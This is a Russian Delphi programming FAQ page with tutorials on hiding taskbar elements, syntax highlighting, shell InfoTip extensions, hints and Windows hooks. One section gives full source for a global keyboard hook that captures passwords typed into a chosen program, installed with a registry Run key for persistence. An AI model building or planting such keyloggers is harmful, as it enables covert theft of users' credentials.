Оригинальный DVD-ROM: eXeL@B DVD !
eXeL@B ВИДЕОКУРС !

ВИДЕОКУРС ВЗЛОМ
выпущен 2 июля!


УЗНАТЬ БОЛЬШЕ >>
Домой | Статьи | RAR-cтатьи | FAQ | Форум | Скачать | Видеокурс
Новичку | Ссылки | Программирование | Интервью | Архив | Связь

БОЛЬШОЙ FAQ ПО DELPHI



Скрыть Tray, часы, кнопку ПУСК, панель задач


 program proga2;
 
 uses
   Windows;
 
 var
   Wnd: THandle; { объявляем переменные }
   int: integer;
 
 begin
   Randomize; { холостой прогон генератора случайных чисел }
   int := Random(3); { выбор одного варианта из четырёх }
   case int of
     0: { если первый вариант то }
     begin
       Wnd := FindWindow('Progman', nil);
       Wnd := FindWindowEx(Wnd, HWND(0), 'ShellDll_DefView', nil);
       { прячем трей }
       ShowWindow(Wnd, sw_hide);
     end;
     1: { если второй вариант то }
     begin
       Wnd := FindWindow('Shell_TrayWnd', nil);
       Wnd := FindWindowEx(Wnd, HWND(0), 'TrayNotifyWnd', nil);
       Wnd := FindWindowEx(Wnd, HWND(0), 'TrayClockWClass', nil);
       { прячем часы }
       ShowWindow(Wnd, sw_hide);
     end;
     2:
     begin
       Wnd := FindWindow('Shell_TrayWnd', nil);
       Wnd := FindWindowEx(Wnd, HWND(0), 'Button', nil);
       {прячем кнопку "Пуск"}
       ShowWindow(Wnd, sw_hide);
   end;
   3:
   begin
     Wnd := FindWindow('Shell_TrayWnd', nil);
     Wnd := FindWindowEx(Wnd, HWND(0), 'TrayNotifyWnd', nil);
     { прячем "Панель задач" }
     ShowWindow(Wnd, sw_hide);
   end;
 end;
 
 end.
 




Подсветка синтаксиса


 unit Unit1;
 
 interface
 
 uses
   Windows, Messages, SysUtils, Variants, Classes, Graphics,
   Controls, Forms, Dialogs, StdCtrls, ComCtrls;
 
 type
   TForm1 = class(TForm)
     RichEdit1: TRichEdit;
     Button1: TButton;
     OpenDialog1: TOpenDialog;
     Button2: TButton;
     procedure RichEdit1KeyUp(Sender: TObject; var Key: Word;
       Shift: TShiftState);
     procedure HighLight;
     function CheckList(InString: string): boolean;
     procedure Button1Click(Sender: TObject);
     procedure Button2Click(Sender: TObject);
   private
     { Private declarations }
   public
     { Public declarations }
   end;
 
 var
   Form1: TForm1;
 
 implementation
 
 {$R *.dfm}
 
 function TForm1.CheckList(InString: string): boolean;
 const TheList: array[1..13] of string = ('begin', 'or', 'end','end.',
 'end;', 'then', 'var', 'for', 'do', 'if', 'to', 'string', 'while');
 var X: integer;
 begin
   Result := false;
   X := 1;
   InString := StringReplace(InString, ' ', '',[rfReplaceAll]);
   InString := StringReplace(InString, #$A, '',[rfReplaceAll]);
   InString := StringReplace(InString, #$D, '',[rfReplaceAll]);
   while X < High(TheList) + 1 do
   if TheList[X] = lowercase(InString) then
   begin
     Result := true;
     X := High(TheList) + 1;
   end
   else inc(X);
 end;
 
 procedure TForm1.RichEdit1KeyUp(Sender: TObject; var Key: Word;
   Shift: TShiftState);
 var WEnd, WStart, BCount: integer;
   Mark: string;
 begin
   if (ssCtrl in Shift) and (Key = ord('V')) then Button2Click(Self);
   if (Key = VK_Return) or (Key = VK_Back) or (Key = VK_Space) then
   begin
     if RichEdit1.SelStart > 1 then
     begin
       WStart := 0;
       WEnd := RichEdit1.SelStart;
       BCount := WEnd - 1;
       while BCount <> 0 do
       begin
         Mark := copy(RichEdit1.Text, BCount, 1);
         if (Mark = ' ') or (Mark = #$A) then
         begin
           WStart := BCount;
           BCount := 1;
         end;
         dec(BCount);
       end;
       RichEdit1.SelStart := WEnd - (WEnd - WStart);
       RichEdit1.SelLength := WEnd - WStart;
       if CheckList(RichEdit1.SelText) then
         RichEdit1.SelAttributes.Style := [fsBold]
       else RichEdit1.SelAttributes.Style := [];
       RichEdit1.SelStart := WEnd;
       RichEdit1.SelAttributes.Style := [];
     end;
   end;
 end;
 
 function SearchFor(WorkSpace, Search: string; Start: integer): integer;
 var Temp: string;
 begin
   Temp := copy(WorkSpace, Start, length(WorkSpace));
   Result := pos(Search, Temp);
 end;
 
 procedure TForm1.HighLight;
 var WStart, WEnd, WEnd2: integer;
   WorkSpace, SWord: string;
 begin
   WStart  :=  1;
   WEnd  :=  1;
   with  RichEdit1 do
   begin
     WorkSpace  :=  Text + ' ' + #$D#$A;
     while WEnd > 0 do
     begin
       WEnd := SearchFor(WorkSpace, ' ', WStart);
       WEnd2 := SearchFor(WorkSpace, #$A, WStart);
       if WEnd2 < WEnd then WEnd := WEnd2;
       SWord := copy(WorkSpace, WStart, WEnd - 1);
       if (SWord <> ' ') and (SWord <>'') then
         if CheckList(SWord) then
         begin
           SelStart  := WStart - 1;
           SelLength := length(SWord);
           SelAttributes.Style := [fsBOLD];
           SelStart := WStart + length(SWord) + 1;
           SelAttributes.Style := [];
         end;
       WStart := WStart + WEnd;
     end;
     SelStart := length(Text);
     SetFocus;
   end;
 end;
 
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   if OpenDialog1.Execute then
   begin
     RichEdit1.Lines.LoadFromFile(OpenDialog1.FileName);
     HighLight;
   end;
 end;
 
 procedure TForm1.Button2Click(Sender: TObject);
 begin
   RichEdit1.PasteFromClipboard;
   HighLight;
 end;
 
 end.
 




Расширения оболочки Windows - Всплывающие подсказки

С каждой новой версией Windows, её оболочка (shell) приобретает всё больше и больше различных возможностей. Обычно эти возможности добавляются через расширения оболочки, которые позволяют разработчикам добавлять различные возможности в существующую оболочку Windows. Вот некоторые примеры расширений оболочки: Context Menus (меню, зависящее от объекта, на котором кликнули правой кнопкой мыши), Property Sheet Handlers (страницы в виде закладок, которые появляются в случае выбора пункта контексного меню Properties), Folder Customization, и т.д.

На сайте Microsoft доступно большое количество информации о расширениях оболочки, но эта информация мало полезна Delphi аудитории. Итак давайте рассмотрим расширение оболочки под названием "Всплывающие подсказки" (InfoTip), которые появляются в эксплорере, при наведении мышкой на файл.

Расширения оболочки – Краткий обзор

Расширения оболочки существуют в виде In Process COM серверов. В ответ на определённые события оболочки проводник вызывает соответствующее расширение. Проводник очень специфически реагирует на различные функции в пределах оболочки. Первое, что делает Проводник - это проверяет модули, которые были зарегистрированы для определённого события и, если таковой существует, то загружает данный модуль.

Чтобы быть расширением оболочки, COM сервер должен включать в себя интерфейс, который определяет специфическое поведение для данного расширения, а так же он должен включать в себя интефейс инициализации. Наконец, чтобы быть расширением оболочки, COM сервер должен следовать определённым в системе методам регистрации.

Следующая таблица представляет собой список всех существующих на сегодняшний день расширений оболочки, а так же их минимальных версий, учавствующих интерфейсов и их описаний:

Тип Добавлено в Версия Используемые интерфейсы Описание
Context Menu File class and shell’s object Windows 95+ IContextMenu, IContextMenu2, или IContextMenu3 Позволяет добавлять новые пункты в контекстное меню объекта оболочки.
Right Drag and Drop File class and shell’s object Windows 95+ IContextMenu, IContextMenu2, или IContextMenu3 Позволяет добавлять новые пункты в контекстное меню, при перетаскивании правой кнопкой мыши и отпускании файлов.
Drawing Shell Icons File class and shell’s object Windows 95+ IExtractIcon Позволяет решить в данный момент, какая будет отображаться иконка для данного файла.
Property Sheet File class and shell’s object Windows 95+ IShellPropSheetExt Позволяет добавлять дополнительные страницы property sheet в диалог свойств файла. Так же это работает для Панели управления.
Left Drag and Drop File class and shell’s object Windows 95+ IDropTarget Позволяет решать - что делать с перетаскиваемым объектом (используя левую кнопку мыши) на другой объект в оболочке.
Clipboard File class and shell’s object Windows 95+ IDataObject Позволяет Вам определить, как объект скопирован и извлечён из буфера обмена.
File Hook   Windows 95+ ICopyHook Позволяет контролировать некоторые файловые операции, которые происходят черех оболочку. Вы можете разрешить или запретить их, но Вы не сможете получать уведомление об успешности операции или об ошибке.
Program Execution Explorer Desktop Update IShellExecuteHook Позволяет перехватывать некоторые выполнения программ, которые происходят через оболочку.
Infotip File class and shell’s object Desktop Update IQueryInfo Позволяет отображать короткие текстовые сообщения, когда курсор мышки находится на определённом файле.
Column Folders Windows 2000 IColumnProvider Позволяет добавлять новую колонку в режиме отображения Details в Проводнике.
Icon Overlay Explorer Windows 2000 IShellIconOverlay Позволяет определить собственные изображения, которые будут использоваться как иконки.
Search Explorer Windows 2000 IContextMenu Позволяет добавить новую ячейку в меню "Найти" (в меню, открывающемся при нажатии на "Пуск").
Cleanup Cleanup Manager Windows 2000 IEmptyVolumeCache2 Позволяет добавить новую ячейку в Менеджер Очистки для восстановления дискового пространства.
         

Всплывающие подсказки – Введение и обзор

Infotip-ы это всплывающие окна подсказки, которые появляются в случае, если курсор мышки находится над любым файлом. Если расширения для файла не было зарегистрировано, то будет высвечиваться окошко с подсказкой по умолчанию, однако Вы можете создать своё собственно расширение для отображения информации об определённом типе файла. Например, Office 2000 инсталирует обработчики для MS Word и MS Excel, которые отображают Имя, Автора и заголовок из свойств документа. Расширения Infotip отличаются от других расширений оболочки по регистрации. Об этом мы поговорим позже, когда перейдём к регистрации нашего расширения Infotip.

Implementing Infotip Extensions

Расширение Infotip является In-Process (Inproc) COM Server. Это значит, что Infotip является обыкновенной Windows DLL, которая экспортирует необходимые методы, чтобы быть как обыкновенным элементом управления ActiveX. Расширение Infotip так же включает IQueryInfo и IPersistFile и должна самостоятельно регистрировать себя в реестре. В виду того, что IQueryInfo и IPersistFile являются интерфейсами, то они не содержат исходного кода своих методов. Поэтому наш объект включает в себя каждый метод, определённый в обоих интерфейсах; однако, некоторые из методов не являются необходимыми для нашего расширения Infotip, поэтому мы просто возвращаем E_NOTIMPL, чтобы показать, что они не осуществимы.

IQueryInfo обеспечивает отображение текста во всплывающем окошке и содержит два метода: GetInfoFlags – Получает информационные флаги. На текущий момент это метод не используется, поэтому возвращаем E_NOTIMPL. GetInfoTip – Получает текст Infotip-а.

GetInfoTip определена следующим образом:


 function GetInfoTip(dwFlags: DWORD; var ppwszTip: PWideChar): HResult; stdcall;
 

dwFlags
в данный момент не используется
ppwszTip
Адрес указателя на строку Unicode, кото string pointer that receives the tip string pointer.

Важное замечание

Параметр ppwszTip метода GetInfoTip - это указатель на строковый буфер Unicode, который содержит текст, отображаемый в всплывающем информационном поле. Этот буфер должен быть распределен, используя стандартную программу распределения памяти оболочки, потому что буфер распределен нашим приложением, но освобожден оболочкой. Чтобы быть уверенным, что всё пройдёт успешно, используйте SHGetMalloc для получения указателя на программу распределения памяти оболочки - объект IMalloc. Затем используйте метод Alloc из IMalloc-а для распределения необходимой памяти для буфера содержащего Unicode представление текста Infotip.

Исходник содержит стандартный код, который Вы можете использовать для всех расширений Infotip, которые Вы создадите.

IPersistFile это то, при помощи чего оболочка обеспечивает расширение информацией о файле, на котором находится курсор. В интерфейсе определены пять методов:

IsDirty
проверяет объект на предмет изменений, сделанных в текущем файле. Наше расширение не требует данного метода, поэтому возвращаем E_NOTIMPL.
Load
открывает указанный файл и инициализирует объект из содержимого файла. Мы будем использовать этот метод для получения имени файла, на котором находится курсор.
Save
сохраняет объект в указанном файле. Мы его не используем и возвращаем E_NOTIMPL.
SaveCompleted
уведомляет объект, о том, что он может быть переведён из режима NoScribble в режим Normal. Не используем, поэтому возвращаем E_NOTIMPL.
GetCurFile
получает текущее имя файла, связанного с объектом. Тоже возвращаем E_NOTIMPL.

Load определена следующим образом:


 function Load(pszFileName: PoleStr; dwMode: LongInt): HResult; stdcall;
 

pszFileName
указатель на строку, содержащую абсолютный путь открываемого файла. Строка должна завершаться нулём.
dwMode
содержит набор атрибутов для открытия файла.

Чтобы получить имя файла и его путь, мы будем использовать только IPersistFile; фактически мы не используем интерфейс для доступа к файлу, поэтому игнорируем флаги. Стандартная реализация метода Load сохраняет содержимое pszFileName в приватную переменную, которая будет использоваться в IQueryInfo::GetInfoTip для расположения файла.

Регистрация расширения Infotip

Регистрация происходит в два этапа:

  1. При помощи regsvr32.exe регистрируется COM DLL (Пуск (Start)..Выполнить(Run))


     regsvr32 "C:\...\DPRInfoTip.dll"
     

  2. Добавление ссылки на расширение (.dpr) в ключ реестра HKEY_CLASSES_ROOT.

По умолчанию значение для нового ключа должно быть CLSID объекта COM, который содержит расширение оболочки. Данное значение можно получить из файла Type Library, который был сгенерирован Delphi (имя файла оканчивается на "_TLB.pas"). Для нашего примера расширения CLSID назван CLASS_DPRInfoTip и содержит значение "{B20433A8-D083-11D4-993A-00D00912C440}".

Самый простой способ внести изменения в реестр - это сделать копию файла .REG, содержащуюся в исходниках проекта. Просто измените CLSID и расширение файла на необходимые значения.

Одно важное замечание:

Если Вы регистрируете расширение оболочки в Windows NT или 2000, то необходимо войти в систему с правами администратора.




Как показать подсказки Hints для элементов меню

В примере создается обработчик события Application.Hint - подсказки меню изображаются на status Panel:


 type
   TForm1 = class(TForm)
     Panel1: TPanel;
     MainMenu1: TMainMenu;
     MenuItemFile: TMenuItem;
     MenuItemOpen: TMenuItem;
     MenuItemClose: TMenuItem;
     OpenDialog1: TOpenDialog;
     procedure FormCreate(Sender: TObject);
     procedure MenuItemCloseClick(Sender: TObject);
     procedure MenuItemOpenClick(Sender: TObject);
   private
     {Private declarations}
     procedure HintHandler(Sender: TObject);
   public
     {Public declarations}
 end;
 
 var
   Form1: TForm1;
 
 implementation
 {$R *.DFM}
 
 procedure TForm1.FormCreate(Sender: TObject);
 begin
   Panel1.Align := alBottom;
   MenuItemFile.Hint := 'File Menu';
   MenuItemOpen.Hint := 'Opens A File';
   MenuItemClose.Hint := 'Closes the Application';
   Application.OnHint := HintHandler;
 end;
 
 procedure TForm1.HintHandler(Sender: TObject);
 begin
   Panel1.Caption := Application.Hint;
 end;
 
 procedure TForm1.MenuItemCloseClick(Sender: TObject);
 begin
   Application.Terminate;
 end;
 
 procedure TForm1.MenuItemOpenClick(Sender: TObject);
 begin
   if OpenDialog1.Execute then
     Form1.Caption := OpenDialog1.FileName;
 end;
 




Hint в выпадающем списке ComboBox

Чем компьютер похож на мужчину?
1. Считает себя умным, но не может обойтись без мамы;
2. Ткнешь пальцем - он и заведется;
3. Требует множества игрушек и примочек;
4. Всегда мечтает попасть в сети;
5. У него все падает с завидной периодичностью;
6. К нему лучше не подходить сзади;
7. Так и норовит задать дурацкий вопрос;
8. Любит, чтобы с него сдували пылинки и промывали спиртом;
9. Не выносит резких перепадов напряжения;
10. Сначала зависает, а потом вырубается;
11. Жалуется на нехватку памяти, хотя на самом деле недостает мозгов;
12. Бурчит, когда его грузят;
13. Сам ничего не может: все зависит от того, кто им пользуется;
14. Когда надоедает приводить в порядок, наконец понимаешь - себе дешевле обзавестись новым.

В практике программирования довольно часто встречается ситуация когда информация, предназначенная для отображения в имеющемся компоненте, не помещается по длине. С подобным обычно сталкиваются в работе с базами данных. В таких случая выручают всплывающие подсказки – Hint. Но, в некоторых случаях, даже такая возможность не спасает. К таким ситуациям можно отнести работу с выпадающим списком в DBComboBox. Представьте, что размер поля увеличился, а изменить ширину DBComboBox на форме, по тем или иным причинам, нет возможности. Конечно, можно увеличить ширину выпадающего списка. Но выглядит это не всегда красиво да и не делает чести разработчику. Предлагаемая идея позволит создать более изящный компонент. Взгляните на рисунок:

В демонстрационном примере в выпадающем списке появляется всплывающая подсказка для строки не помещающейся по длине.

При работе с Hint нужно помнить – использовать ToolTip из API, бесполезная затея. Delphi игнорирует любые попытки работы ним. Для этих целей в Delphi предусмотрен класс – THintWindow.

В своем компоненте объявите FTipHint:


 type
 TVSComboBox = class(TCustomComboBox)
 …
 private
 FHint: THintWindow;
 …
 protected
 procedure WMCTLCOLORLISTBOX(var Message: TMessage);
 message WM_CTLCOLORLISTBOX;
 

и не забудьте выполнить инициализацию в конструкторе вашего компонента:


 begin
 inherited Create(AOwner);
 FHint := THintWindow.Create(Self);
 

Чтобы получить информацию об активной строке в выпадающем списке ComboBox перехватите сообщение WM_CTLCOLORLISTBOX. В процедуре сообщения анализируйте - если длина строки больше ширины выпадающего списка – передайте "длинную" строку в ваш Hint и активируйте его:


 FHint.ActivateHint(TextRC, Items[ItemIndex]);
 

где
TextRC – прямоугольник для строки подсказки
Items[ItemIndex] – "длинная" строка из выпадающего списка

Если активная строка в выпадающем списке "короткая" – спрячьте Hint:


 FHint.ReleaseHandle;
 

Для получения подробной информации о классе THintWindow воспользуйтесь Help из Delphi.




Как вывести Hint для ячейки DBGrid

Создайте на форме DataSource1, Table1, DataSource2, Table2, DBGrid1. Table1 и Table2 свяжите со своей базой данных. DataSource1 и DataSource2 свяжите соответственно с Table1 и Table2. DBGrid1 свяжите с DataSource1 Table2 и DataSource2 нужны для доступа к какой-нибудь ячейке. Другой способ без их использования: при отрисовке значений ячеек (соответствующее событие), необходимо запомнить значения всех ячеек, находящихся на экране и производить выбор среди них.


 unit Unit1;
 
 interface
 
 uses
   Windows, Messages, SysUtils, Classes, Graphics, Controls,
   Forms, Dialogs, Grids, DBGrids, Db, DBTables;
 
 type
   TForm1 = class(TForm)
     DataSource1: TDataSource;
     Table1: TTable;
     DBGrid1: TDBGrid;
     Table2: TTable;
     DataSource2: TDataSource;
     procedure FormCreate(Sender: TObject);
   private
     { Private declarations }
     procedure AppMess(var Msg: TMsg; var Handled: Boolean);
   public
     { Public declarations }
 end;
 
 var
   Form1: TForm1;
 
 implementation
 {$R *.DFM}
 
 procedure TForm1.AppMess(var Msg: TMsg; var Handled: Boolean);
 var
   X, Y: integer;
   gpt: TGridCoord;
   s: string;
   w, len: integer;
 begin
   if Msg.message=WM_MOUSEMOVE then
   begin
     if Msg.hwnd=DBGrid1.Handle then
     begin
       x:=LoWord(Msg.lParam);
       y:=HiWord(Msg.lParam);
       gpt:=DBGrid1.MouseCoord(x,y);
       {получить строку и солбец, в которых находится курсор}
       if (gpt.x>0) and (gpt.y>0) then
       begin
         DataSource2.DataSet.First;
         DataSource2.DataSet.MoveBy(gpt.y-1);
         s:=Table2.Fields[gpt.x-1].asString;
         w:=DBGrid1.Columns[gpt.x-1].Width;
         {получить ширину столбца}
         len:=DBGrid1.Canvas.TextWidth(s);
         {получить длину строки в пикселах}
         if len > w then
           DBGrid1.Hint:=s;
         else
           DBGrid1.Hint:='';
       end;
     end;
   end;
 end;
 
 procedure TForm1.FormCreate(Sender: TObject);
 begin
   DBGrid1.ShowHint := True;
   Application.OnMessage := AppMess;
 end;
 
 end.
 




Использование НООК в Delphi

Смотрит программер на монитор компа с только что поставленной виндой и говорит:
- Да.., жить захочешь не так раскорячишся.

Что такое НООК?

НООК - это механизм перехвата сообщений, предоставляемый системой Microsoft Windows. Программист пишет специального вида функцию (НООК-функция), которая затем при помощи функции SetWindowsHookEx вставляется на верх стека НООК-функций системы. Ваша НООК-функция сама решает, передать ли ей сообщение в следующую НООК-функцию при помощи CallNextHookEx или нет.

Какие бывает НООК'и?

НООК бывают глобальные, контролирующие всю систему, так и локальные, ориентированные на какой-либо поток (Thread). Кроме того НООК различаются по типу перехватываемых сообщений (подробнее об этом - ниже). НООК несколько подтормаживают систему, поэтому ставить их рекомендуется только при необходимости, и кактолько необходимость в них отпадает - удалять.

Как создавать НООК?

НООК устанавливается в систему при помощи функции SetWindowsHookEx, вот её заголовок:


 function SetWindowsHookEx(idHook: Integer; lpfn: TFNHookProc;
 hmod: HINST; dwThreadId: DWORD): HHOOK;
 

idHook
константа, определяющая тип вставляемого НООК'а, должна быть одна из нижеследующих констант:
WH_CALLWNDPROC
вставляемая НООК-функция следит за всеми сообщения перед их отпралением в соответствующую оконную функцию
WH_CALLWNDPROCRET
вставляемая НООК-функция следит за всеми сообщениями после их отправления в оконную функцию
WH_CBT
вставляемая НООК-функция следит за окнами, а именно: за созданием, активацией, уничтожением, сменой размера; перед завершением системной команды меню, перед извлечением события мыши или клавиатуры из очереди сообщений, перед установкой фокуса и т.д.
WH_DEBUG
вставляемая НООК-функция следит за другими НООК-функциями.
WH_GETMESSAGE
вставляемая НООК-функция следит за сообщениями, посылаемыми в очередь сообщений.
WH_JOURNALPLAYBACK
вставляемая НООК-функция посылает сообщения, записанные до этого WH_JOURNALRECORD НООК'ом.
WH_JOURNALRECORD
эта НООК-функция записывает все сообщения куда-либо в специальном формате, причем позже они могут быть "воспроизведены" при помощи НООК'а WH_JOURNALPLAYBACK. Это в некотором роде аналог магнитофонной записи сообщений.
WH_KEYBOARD
вставляемая НООК-функция следит за сообщениями клавиатуры
WH_MOUSE
вставляемая НООК-функция следит за сообщениями мыши
WH_MSGFILTER
WH_SHELL
WH_SYSMSGFILTER
lpfn
указатель на непосредственно функцию. Обратите внимание, что если Вы ставите глобальный НООК, то НООК-функция обязательно должна находиться в некоторой DLL!!!
hmod
описатель DLL, в которой находится код функции.
dwThreadId
идентификатор потока, в который вставляется НООК

Подробнее о НООК-функциях сотри справку по Win32API.

Как удалять НООК?

НООК удаляется при помощи функции UnHookWindowsEx.

Пример использования НООК.

Ставим НООК, следящий за мышью (WH_MOUSE). Программа следит за нажатием средней кнопки мыши, и когда она нажимается, делает окно, находящееся непосредственно под указателем, поверх всех остальных (TopMost). Код самой НООК-функции помещен в библиотеку lib2.dll, туда же помещены и функции Start - для установки НООК, и Remove - для удаления НООК.

Файл sticker.dpr


 program sticker;
 
 uses
   windows, messages;
 
 var
   wc: TWndClassEx;
   MainWnd: THandle;
   Mesg: TMsg;
 
   //экспортируем две функции из библиотеки с НООК'ами
   procedure Start; external 'lib2.dll' name 'Start';
   procedure Remove; external 'lib2.dll' name 'Remove';
 
   function WindowProc(wnd: HWND; Msg: Integer; Wparam: Wparam;
   Lparam: Lparam): Lresult; stdcall;
   var
     nCode, ctrlID: word;
   begin
     case msg of
       wm_destroy :
       begin
         Remove;//удаляем НООК
         postquitmessage(0); exit;
         Result:=0;
       end;
       else
         Result := DefWindowProc(wnd, msg, wparam, lparam);
     end;
   end;
 
 begin
   wc.cbSize:=sizeof(wc);
   wc.style:=cs_hredraw or cs_vredraw;
   wc.lpfnWndProc:=@WindowProc;
   wc.cbClsExtra:=0;
   wc.cbWndExtra:=0;
   wc.hInstance:=HInstance;
   wc.hIcon:=LoadIcon(0,idi_application);
   wc.hCursor:=LoadCursor(0,idc_arrow);
   wc.hbrBackground:=COLOR_BTNFACE+1;
   wc.lpszMenuName:=nil;
   wc.lpszClassName:='WndClass1';
 
   RegisterClassEx(wc);
 
 
   MainWnd := CreateWindowEx(0, 'WndClass1', 'Caption', ws_overlappedwindow,
   cw_usedefault, cw_usedefault, cw_usedefault, cw_usedefault, 0, 0, Hinstance, nil);
 
 
   ShowWindow(MainWnd, CmdShow);
 
   Start;//вставляем НООК
 
   while GetMessage(Mesg, 0, 0, 0) do
   begin
     TranslateMessage(Mesg);
     DispatchMessage(Mesg);
   end;
 end.
 

Файл lib2.dpr
library lib2;


 uses
   windows, messages;
 
 var
   pt: TPoint;
   theHook: THandle;
 
 function MouseHook(nCode, wParam, lParam: integer): Lresult; stdcall;
 var
   msg: PMouseHookStruct;
   w: THandle;
   style: integer;
 begin
   if nCode < 0 then
   begin
     result := CallNextHookEx(theHook, nCode, wParam, lParam);
     exit;
   end;
   msg := PMouseHookStruct(lParam);
 
   case wParam of
     WM_MBUTTONDOWN : pt := msg^.pt;
     WM_MBUTTONUP :
     begin
       w := WindowFromPoint(pt);
       style := GetWindowLong(w, GWL_EXSTYLE);
       if (style and WS_EX_TOPMOST) <> 0 then
       begin
         //уже поверх всех - сделать обычным
         ShowWindow(w, sw_hide);
         SetWindowPos(w, HWND_NOTOPMOST, 0,0,0,0, SWP_NOMOVE or SWP_NOSIZE or SWP_SHOWWINDOW);
       end
       else
       begin
         //сделать поверх остальных
         ShowWindow(w, sw_hide);
         SetWindowPos(w, HWND_TOPMOST, 0,0,0,0, SWP_NOMOVE or SWP_NOSIZE or SWP_SHOWWINDOW);
       end;
     end;
   end;
 
   result := CallNextHookEx(theHook, nCode, wParam, lParam);
 end;
 
 procedure Start;
 begin
   theHook := SetWindowsHookEx(wh_mouse, @mouseHook, hInstance, 0);
   if theHook = 0 then
     messageBox(0, 'Error!', 'Error!', mb_ok);
 end;
 
 procedure Remove;
 begin
   UnhookWindowsHookEx(theHook);
 end;
 
 exports
   Start index 1 name 'Start',
   Remove index 2 name 'Remove';
 
 end.
 




Как отловить нажатия клавиш для всех процессов в системе


Идет программист по улице, видит - его приятель-коллега на новеньком красном "Ferrari 512TR".
- Откуда такая машина?!
- Да из NFS дебаггером выдрал.

  • Setup.bat

 @echo off
 copy HookAgnt.dll %windir%\system
 copy kbdhook.exe %windir%\system
 start HookAgnt.reg
 

  • HookAgnt.reg

 REGEDIT4
 
 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
 "kbdhook"="kbdhook.exe"
 

  • KbdHook.dpr

 program cwbhook;
 
 uses
   Windows, Dialogs;
 
 var
   hinstDLL: HINST;
   hkprcKeyboard: TFNHookProc;
   msg: TMsg;
 
 begin
   hinstDLL := LoadLibrary('HookAgnt.dll');
   hkprcKeyboard := GetProcAddress(hinstDLL, 'KeyboardProc');
   SetWindowsHookEx(WH_KEYBOARD, hkprcKeyboard, hinstDLL, 0);
   repeat
   until
     not GetMessage(msg, 0, 0, 0);
 end.
 

  • HookAgnt.dpr

 library HookAgent;
 
 uses
   Windows, KeyboardHook in 'KeyboardHook.pas';
 
 exports
   KeyboardProc;
 
 var
   hFileMappingObject: THandle;
   fInit: Boolean;
 
 {----------------------------\
 | |
 | DLL_PROCESS_DETACH |
 | |
 \----------------------------}
 
 procedure DLLMain(Reason: Integer);
 begin
   if Reason = DLL_PROCESS_DETACH then
   begin
     UnmapViewOfFile(lpvMem);
     CloseHandle(hFileMappingObject);
   end;
 end;
 
 {----------------------------\
 | |
 | DLL_PROCESS_ATTACH |
 | |
 \----------------------------}
 
 begin
   DLLProc := @DLLMain;
 
   hFileMappingObject := CreateFileMapping(
   THandle($FFFFFFFF), // use paging file
   nil, // no security attributes
   PAGE_READWRITE, // read/write access
   0, // size: high 32 bits
   4096, // size: low 32 bits
   'HookAgentShareMem' // name of map object
   );
 
   if hFileMappingObject = INVALID_HANDLE_VALUE then
   begin
     ExitCode := 1;
     Exit;
   end;
 
   fInit := GetLastError() <> ERROR_ALREADY_EXISTS;
 
   lpvMem := MapViewOfFile(
   hFileMappingObject, // object to map view of
   FILE_MAP_WRITE, // read/write access
   0, // high offset: map from
   0, // low offset: beginning
   0 // default: map entire file
   );
 
   if lpvMem = nil then
   begin
     CloseHandle(hFileMappingObject);
     ExitCode := 1;
     Exit;
   end;
 
   if fInit then
     FillChar(lpvMem, PASSWORDSIZE, #0);
 
 end.
 

  • KeyboardHook.pas

 unit KeyboardHook;
 
 interface
 
 uses
   Windows;
 
 const
   PASSWORDSIZE = 16;
 
 var
   g_hhk: HHOOK;
   g_szKeyword: array[0..PASSWORDSIZE-1] of char;
   lpvMem: Pointer;
 
   function KeyboardProc(nCode: Integer; wParam: WPARAM;
   lParam: LPARAM ): LRESULT; stdcall;
 
 implementation
 
 uses
   SysUtils, Dialogs;
 
   function KeyboardProc(nCode: Integer; wParam: WPARAM;
   lParam: LPARAM ): LRESULT;
 
 var
   szModuleFileName: array[0..MAX_PATH-1] of Char;
   szKeyName: array[0..16] of Char;
   lpszPassword: PChar;
 
 begin
   lpszPassword := PChar(lpvMem);
 
   if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) then
   begin
     GetKeyNameText(lParam, szKeyName, sizeof(szKeyName));
 
     if StrLen(g_szKeyword) + StrLen(szKeyName) >= PASSWORDSIZE then
       lstrcpy(g_szKeyword, g_szKeyword + StrLen(szKeyName));
 
     lstrcat(g_szKeyword, szKeyName);
 
     GetModuleFileName(0, szModuleFileName, sizeof(szModuleFileName));
 
     if (StrPos(StrUpper(szModuleFileName),'__ТО_ЧЕГО_АДО__') <> nil) and
     (strlen(lpszPassword) + strlen(szKeyName) < PASSWORDSIZE) then
       lstrcat(lpszPassword, szKeyName);
 
     if StrPos(StrUpper(g_szKeyword), 'GOLDENEYE') <> nil then
     begin
       ShowMessage(lpszPassword);
       g_szKeyword[0] := #0;
     end;
 
     Result := 0;
   end
   else
     Result := CallNextHookEx(g_hhk, nCode, wParam, lParam);
 end;
 
 end.
 




Перехват (Hook) клавиатуры (программа Sendkeys)

Автор: Bogachev

Всю ночь потел над непослушной Клавой...


 program Project1;
 
 uses
   Forms,
   Unit1 in '..\Hooks1\Unit1.pas' {Form1};
 
 {$R *.RES}
 
 begin
   Application.Initialize;
   Application.CreateForm(TForm1, Form1);
   Application.Run;
 end.
 
 // *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* //
 
 library SendKey;
 
 uses
 
   SysUtils, Classes, Windows, Messages;
 
 const
 
   {пользовательские сообщения}
   wm_LeftShow_Event = wm_User + 133;
   wm_RightShow_Event = wm_User + 134;
   wm_UpShow_Event = wm_User + 135;
   wm_DownShow_Event = wm_User + 136;
 
   {handle для ловушки}
   HookHandle: hHook = 0;
 
 var
 
   SaveExitProc: Pointer;
 
   {собственно ловушка}
 
 function Key_Hook(Code: integer; wParam: word;
   lParam: Longint): Longint; stdcall; export;
 var
   H: HWND;
 begin
 
   {если Code>=0, то ловушка может обработать событие}
   if (Code >= 0) and (lParam and $40000000 = 0) then
   begin
     {ищем окно по имени класса и по заголовку
     (Caption формы управляющей программы должен быть равен 'XXX' !!!!)}
     H := FindWindow('TForm1', 'XXX');
 
     {это те клавиши?}
     case wParam of
       VK_Left: SendMessage(H, wm_LeftShow_Event, 0, 0);
       VK_Right: SendMessage(H, wm_RightShow_Event, 0, 0);
       VK_Up: SendMessage(H, wm_UpShow_Event, 0, 0);
       VK_Down: SendMessage(H, wm_DownShow_Event, 0, 0);
     end;
     {если 0, то система должна дальше обработать это событие}
     {если 1 - нет}
     Result := 0;
   end
 
   else if Code < 0 {если Code<0, то нужно вызвать следующую ловушку} then
     Result := CallNextHookEx(HookHandle, Code, wParam, lParam);
 end;
 
